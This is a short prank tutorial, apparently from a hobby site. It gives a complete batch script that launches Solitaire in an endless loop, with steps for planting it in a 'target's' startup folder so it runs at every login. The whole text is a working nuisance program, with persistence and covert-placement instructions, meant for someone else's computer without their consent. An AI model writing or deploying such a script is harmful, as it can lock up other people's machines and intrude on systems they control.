A Neat Little Trick

Step 1.
Make a new .txt file. Usually wordpad works best for this, because it allows you to save things as any format you want, as long as you select the "All File Types" option when saving it (Optional: Write the file on target's computer).

Step 2.
In this new file, type the following:
@echo off
goto :solitaire
:solitaire
call solitaire.exe
goto :looper
:looper
goto :solitaire

Step 3.
Remember the "All File Types" option I mentioned earlier? That's coming into play now. Hit the "Save As" option on your file maker, then save it as "filename.bat", or, preferably, something a bit more creative (also, be careful to not open this thing, as it will just keep opening solitaire until you stop it somehow), with the file type set to "All File Types", and save it to... well, damn near anywhere but the startup folder for a computer you use regularly (Optional: Save file to a portable drive, for potential future use).

Step 4.
Place file into target's startup folder. This causes the file to run automatically whenever they log in.

Step 5.
Wait for target to log in to computer and wonder why the hell 50 windows of Solitaire keep opening.